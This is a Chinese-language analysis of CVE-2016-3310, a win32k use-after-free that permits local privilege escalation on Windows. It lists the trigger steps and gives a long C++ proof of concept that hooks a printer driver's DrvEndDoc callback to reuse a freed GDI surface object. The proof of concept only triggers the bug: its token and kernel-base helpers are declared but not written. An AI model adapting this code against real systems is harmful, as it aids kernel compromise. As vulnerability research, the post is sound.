CVE-2016-3310漏洞分析
0x00漏洞信息
漏洞影响:本地提权
漏洞文件:win32kfull.sys
漏洞函数:NtGdEndDoc
漏洞原因:释放重引用
漏洞日期:
【漏洞分析合集】
- 获取打印机 DC,然后开始打印作业。
- 调用win32k!NtGdiMakeInfoDC将 HDC+0x8C8 处的表面对象指针存储到 HDC+0x1F8
- 挂钩user32!__ClientPrinterThunk 函数DrvEndDoc 。执行win32k!NtGdiEndDoc时会触发钩子处理程序,然后执行win32k!NtGdiMakeInfoDC函数将表面对象指针从 HDC+0x1F8 恢复到 HDC+0x8C8。
- 在win32k!bEndDocInternal的结尾,将通过将引用计数减少到 0 来禁用表面对象引用计数。
- 从我们的受控程序中,我们现在可以通过调用gdi32!DeleteObject API 函数来释放禁用的表面对象。
#include<windows.h> #include<winddi.h> #include<winspool.h> #include <winternl.h> #include <stdio.h> #include <Psapi.h> #pragma comment(lib, "Psapi.lib ") #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define ThreadNameInformation 0x26 #define SystemExtendedHandleInformation 64 #define SystemBigPoolInformation 66 using ZwQuerySystemInformation_t = NTSTATUS(*)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); using NtSetInformationThread_t = NTSTATUS(*)( HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength); using DrvEnableDriver_t = BOOL(*)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded); using DrvEnablePDEV_t = DHPDEV(*)( SURFOBJ* pso, POINTL* pptl); using DrvEnablePDEV_t = DHPDEV(*)( SURFOBJ* pso, POINTL* pptl); using DrvDisableDriver_t = void(*)(); typedef struct _SYSTEM_BIGPOOL_ENTRY { union { PVOID VirtualAddress; ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. }; SIZE_T SizeInBytes; union { UCHAR Tag[4]; ULONG TagUlong; }; } SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; typedef struct _SYSTEM_BIGPOOL_INFORMATION { ULONG Count; SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; } SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; typedef struct _SYSTEM_HANDLE { PVOID Object; HANDLE UniqueProcessId; HANDLE HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR HandleCount; ULONG_PTR Reserved; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; namespace g { DrvEnablePDEV_t OldDrvEnablePDEV = 0; DrvEnableDriver_t DrvEnableDriver = 0; DrvDisableDriver_t DrvDisableDriver = 0; ZwQuerySystemInformation_t ZwQuerySystemInformation = 0; NtSetInformationThread_t NtSetInformationThread = 0; ULONG64 RtlSetAllBitsAddress = 0; PCHAR szKernelName = NULL; PCHAR szPrinterName = NULL; HANDLE hToken = INVALID_HANDLE_VALUE; ULONG64 KernelBase = 0; bool bIsTrigger = false; HDC hdc = 0; }; void Hook_DrvEnablePDEV(); ULONG64 GetKernelBase(); bool Init(); ULONG64 GetToken(); BOOL DrvEnablePDEV_Proxy( SURFOBJ* pso, POINTL* pptl); void Hook_DrvEnablePDEV() { DWORD cbBuf = 0; DWORD cbNeed, cReturned; PPRINTER_INFO_4 PrintInfo = NULL; DRVENABLEDATA DrvData; DWORD OldProtect; HANDLE hPrinter = INVALID_HANDLE_VALUE; //首先枚举本地安装的打印机,找到可用的 EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &cbNeed, &cReturned); if (cbNeed <= 0) { printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__); exit(-1); } PrintInfo = (PPRINTER_INFO_4)GlobalAlloc(GMEM_ZEROINIT, cbNeed); if (PrintInfo == NULL) { printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__); exit(-1); } if (!EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (PBYTE)PrintInfo, cbNeed, &cbNeed, &cReturned) || cReturned <= 0) { printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find available printer.\n", __LINE__); exit(-1); } // 循环查找打印机 for (DWORD i = 0; i < cReturned; i++) { if (!OpenPrinterA(PrintInfo[i].pPrinterName, &hPrinter, NULL)) { printf("[Error_%d] Hook_DrvEnablePDEV(): OpenPrinterA failed.\n", __LINE__); continue; } else { printf("[+] Using a available printer: %s.\n", PrintInfo[i].pPrinterName); g::szPrinterName = _strdup(PrintInfo[i].pPrinterName); // 获取打印机驱动文件名 GetPrinterDriverA(hPrinter, NULL, 2, NULL, NULL, &cReturned); if (cReturned <= 0) { printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__); continue; } PDRIVER_INFO_2 DrvInfo = (PDRIVER_INFO_2)GlobalAlloc(GMEM_ZEROINIT, cReturned); if (DrvInfo == NULL) { printf("[Error_%d] Hook_DrvEnablePDEV(): Insufficient system resource.\n", __LINE__); continue; } if (!GetPrinterDriverA(hPrinter, NULL, 2, (PBYTE)DrvInfo, cReturned, &cReturned) || cReturned <= 0) { printf("[Error_%d] Hook_DrvEnablePDEV(): GetPrinterDriverA failed.\n", __LINE__); continue; } HMODULE hPrinterDrv = LoadLibraryExA(DrvInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); if (hPrinterDrv == NULL) { printf("[Error_%d] Hook_DrvEnablePDEV(): LoadLibraryExA failed.\n", __LINE__); continue; } g::DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinterDrv, "DrvEnableDriver"); g::DrvDisableDriver = (DrvDisableDriver_t)GetProcAddress(hPrinterDrv, "DrvDisableDriver"); if (g::DrvEnableDriver == NULL || g::DrvDisableDriver == NULL) { printf("[Error_%d] Hook_DrvEnablePDEV(): Can't find target functions .\n", __LINE__); continue; } // 打开图形驱动,获取回调函数列表,里面有我们要HOOK的函数 if (!g::DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &DrvData)) { printf("[Error_%d] Hook_DrvEnablePDEV(): DrvEnableDriver failed.\n", __LINE__); continue; } if (!VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), PAGE_READWRITE, &OldProtect)) { printf("[Error_%d] Hook_DrvEnablePDEV(): VirtualProtect failed.\n", __LINE__); continue; } for (DWORD i = 0; i < DrvData.c; i++) { if (DrvData.pdrvfn[i].iFunc == INDEX_DrvEndDoc) { // 保存并HOOK g::OldDrvEnablePDEV = (DrvEnablePDEV_t)DrvData.pdrvfn[i].pfn; DrvData.pdrvfn[i].pfn = (PFN)DrvEnablePDEV_Proxy; break; } } } // 关闭图形驱动 g::DrvDisableDriver(); VirtualProtect(DrvData.pdrvfn, DrvData.c * sizeof(PFN), OldProtect, &OldProtect); return; } } HDC hdc1; BOOL DrvEnablePDEV_Proxy(//INDEX_DrvEndDoc 要改成 这个的参数 SURFOBJ * pso,POINTL * pptl) { DHPDEV res; //pptl->x = 0xFFFFFFFF; //pptl->y = 0xFFFFFFFF; //res = g::OldDrvEnablePDEV(pso, pptl); if (g::bIsTrigger) { printf("[+] DrvEnablePDEV_Proxy called.\n"); ExtFloodFill(hdc1, 0xf6, 0x70c0ad7, 0x3d, 0x0); } return true; } typedef NTSTATUS(NTAPI* myfull) (HDC a1); int main(int argc, char* argv[]) { Hook_DrvEnablePDEV();//HOOK DrvTextOut Microsoft XPS Document Writer hdc1 = CreateDCA(0, "Microsoft XPS Document Writer", 0, 0);//创建打印设备OneNote printf("[-] hdc: %p\n", hdc1); SetTextAlign(hdc1, 0xff); SetBkMode(hdc1, 2); DOCINFOW d1; d1.cbSize = sizeof(DOCINFOW); d1.lpszDocName = L"print1"; d1.lpszOutput = d1.lpszDocName; d1.lpszDatatype = L"EMF"; d1.fwType = 0xa8990032; // 用于设置每个字符间隔的数组 int arr1[3] = { 95,77, 0 }; int arr2[3] = { 35, 40, 0 }; int arr3[2] = { 32, 0 }; RECT rec; rec.left = 5;//0 rec.right = 6;//3 rec.bottom = 8;//2 rec.top = 7;//1 POLYTEXT polys[] = { {2,2,5,"大家",2,rec,&arr3[0]}, {2,25,5,"新年好",2,rec,&arr2[0]}, {999,60,5,"快乐\0",2,rec,&arr3[0]}, {30,60,5,"快乐\0",2,rec,&arr3[0]}, {30,60,5,"快乐\0",2,rec,&arr3[0]} }; g::bIsTrigger = TRUE; HINSTANCE LibHandle; LibHandle = LoadLibrary("win32u"); myfull funtion = (myfull)GetProcAddress(LibHandle, "NtGdiAbortDoc"); printf("[-] funtion: %d\n", funtion); __debugbreak(); int a = StartDocW(hdc1, &d1);//启动打印作业 bMakeInfoDC printf("[-] 打印机: %d\n", a); StartPage(hdc1);// 会调用bMakeInfoDC //EngCopyBits(); //__debugbreak(); funtion(hdc1); //funtion(hdc1); //EndPage(hdc1); //EndPage(hdc1); EndDoc(hdc1); getchar(); return 0; }
从此山高路远,纵马扬鞭。愿往后旅途,三冬暖,春不寒,天黑有灯,下雨有伞。此生尽兴,不负勇往。